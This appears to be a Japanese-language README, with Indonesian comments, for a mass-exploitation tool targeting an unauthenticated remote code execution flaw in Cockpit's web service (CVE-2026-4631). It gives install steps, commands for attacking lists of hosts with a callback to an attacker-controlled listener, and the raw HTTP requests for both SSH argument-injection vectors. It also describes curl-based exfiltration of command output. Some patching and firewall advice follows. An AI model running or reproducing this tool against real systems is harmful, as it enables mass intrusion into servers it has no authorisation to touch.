SSHコマンドライン引数インジェクションによる未認証リモートコード実行 Cockpit バージョン 327 – 359 | CVSS 9.8 緊急 | CWE-78
SSHコマンドライン引数インジェクションによる認証なしリモートコード実行 Cockpit バージョン 327 – 359 | CVSS 9.8 Critical | CWE-78
Cockpit Webサービス(cockpit-ws、ポート9090)のCVE-2026-4631向けの大量エクスプロイトツール。脆弱性スキャンモード、ビルトインHTTPコールバックリスナー経由でのコマンド出力キャプチャ付きRCEモード、--autoモード(デフォルトコマンドidでスキャン+エクスプロイトを一度に実行)、ポートなしターゲットへの**:9090の自動追加**、両方の攻撃ベクトル(ProxyCommand+ユーザー名%rインジェクション)、ファイルからの大量ターゲット、スレッドによる並行処理、構造化された結果出力をサポートしています。
作者: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
targets.txtを編集 — 1行に1ホスト。ポートが指定されていない場合、:9090が自動的に追加されます:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>
# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>
# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>
CVE-2026-4631はblind RCEです — コマンドの出力はHTTPレスポンスでは返ってきません。このツールは出力をキャプチャするためにビルトインHTTPリスナー(デフォルトポート8888)を使用します。次の点を確認してください:
--callback-ipはターゲットから到達可能なIPであること(127.0.0.1ではなく)8888を許可すること(またはカスタムの--listener-port)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
/etc/cockpit/cockpit.confを編集:
[WebService]
LoginTo = false
サービスを再起動:
sudo systemctl restart cockpit
ポート9090を管理ネットワークのみに制限:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
早期ホスト名検証によりVector 1(ProxyCommandインジェクション)を緩和:
ssh -V # harus OpenSSH_9.6 atau lebih baru
360にアップグレードできない場合は、次のパッチコミットを適用:
beiboot.pyとcockpitauth.cに--セパレータを追加session.pyに--を追加パッチの詳細: docs/PATCH_ANALYSIS.md を参照
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| 深刻度 | Critical (CVSS 9.8) |
| CWE | CWE-78 — OSコマンドインジェクション |
| 影響を受けるバージョン | Cockpit 327 – 359 |
| 修正バージョン | Cockpit 360+ |
| 認証要件 | 不要(pre-authentication) |
| 報告者 | Jelle van der Waa |
| サービス | cockpit-ws、デフォルトポート9090 |
Cockpit v327はcockpit-ssh(libssh)を、システムのOpenSSH sshクライアントを呼び出すpython3 -m cockpit.beibootに置き換えました。ユーザーが制御する入力 — URLパスのホスト名とAuthorization: Basicヘッダーのユーザー名 — が、サニタイズなしかつ**--(エンドオブオプションセパレータ)なし**でsshに渡されます。インジェクションは認証情報の検証前に発生するため、有効なログインは不要です。
URLパスのホスト名にSSHオプション-oProxyCommand=<cmd>がインジェクトされます。
GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")
SSHは-oProxyCommand=<cmd>をオプションとして解析し、<cmd>をProxyCommandとして実行します。コマンドはcockpit-wsのユーザープロセスとして実行されます。
前提条件: ターゲットのOpenSSH < 9.6。OpenSSH 9.6+にはメタキャラクタをブロックする早期ホスト名検証があります。
%rトークンインジェクション(副)Authorization: Basicヘッダーのユーザー名にシェルコマンドがインジェクトされます。
GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")
SSHがMatch execディレクティブ内の%rをユーザー名で展開 → シェルがインジェクトされたコマンドを実行します。
前提条件: ターゲットのssh_configに%rトークンを含むMatch execディレクティブがあること。
LoginTo)が無効化されていないMatch exec %rを含むssh_config# Clone dari GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# Install dependency
pip install -r requirements.txt
# Verifikasi
python3 exploit.py --help
requests>=2.31 — エクスプロイトリクエスト用のHTTPクライアントcolorama>=0.4 — ターミナル出力の色付けリスナー用の追加の依存関係はありません(stdlibのhttp.server + threadingを使用)。
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection
optional arguments:
-h, --help show this help message and exit
-t, --target single target URL/host (port auto-added jika absent)
-f, --file file containing list of targets (one per line)
--default-port port yang di-append jika target tanpa port (default: 9090)
-c, --cmd command to execute (default: "id" pada mode --auto / RCE)
--scan vulnerability scan mode (no RCE, probe endpoint only)
--auto scan + exploit sekali jalan, command default "id"
--vector exploit vector: auto|proxycommand|username (default: auto)
-o, --output result output file (default: results.txt)
--callback-ip attacker IP reachable from target (for callback listener)
--listener-port callback listener port (default: 8888)
--threads concurrent workers (default: 10)
--timeout seconds to wait for callback per target (default: 10)
--delay delay between requests in seconds (default: 0)
--proxy HTTP proxy for debugging (e.g. http://127.0.0.1:8080)
--user-agent custom User-Agent string
-v, --verbose verbose output (debug)
--no-color disable colored output
--scan)エクスプロイトなしでエンドポイント/cockpit+=probe-host/loginをプローブします。検出内容:
悪意のあるペイロードは送信せず、コールバックリスナーも不要です。
-c "cmd")ターゲットでコマンドを実行し、コールバック経由で出力をキャプチャ:
curlによるリスナーへの外部送信(exfil)でコマンドをラップ-cが指定されていない場合、デフォルトコマンド = id--auto)— 推奨スキャン+エクスプロイトを1パスで実行、デフォルトコマンドid: